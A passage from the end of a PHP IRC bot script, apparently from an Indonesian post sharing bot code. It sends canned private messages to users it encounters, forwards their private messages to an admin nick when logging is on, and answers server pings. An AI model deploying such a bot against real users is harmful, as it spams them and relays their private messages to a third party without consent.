if ($qnick["$dNick"]!=2) {
$qnick["$dNick"]++;
$querymsg = $querym[rand(0,count($querym) - 1)];
$querymsg = str_replace("nick",$dNick,$querymsg);
fputs($fp,'PRIVMSG '.$dNick.' :'.$querymsg . CRL);
}
if ($log=="on") {
fputs($fp,'PRIVMSG '.$Admin.' : 6' . $dFrom . ' 12:' .$iText. CRL);
}
}
}
}
}
elseif (substr($data,0,4) == 'PING') {
fputs($fp,'PONG ' . substr($data,5) . CRL);
}
}
}
fclose ($fp);
} while ($keluar==0);

}
?>

simpan dengan extensi .php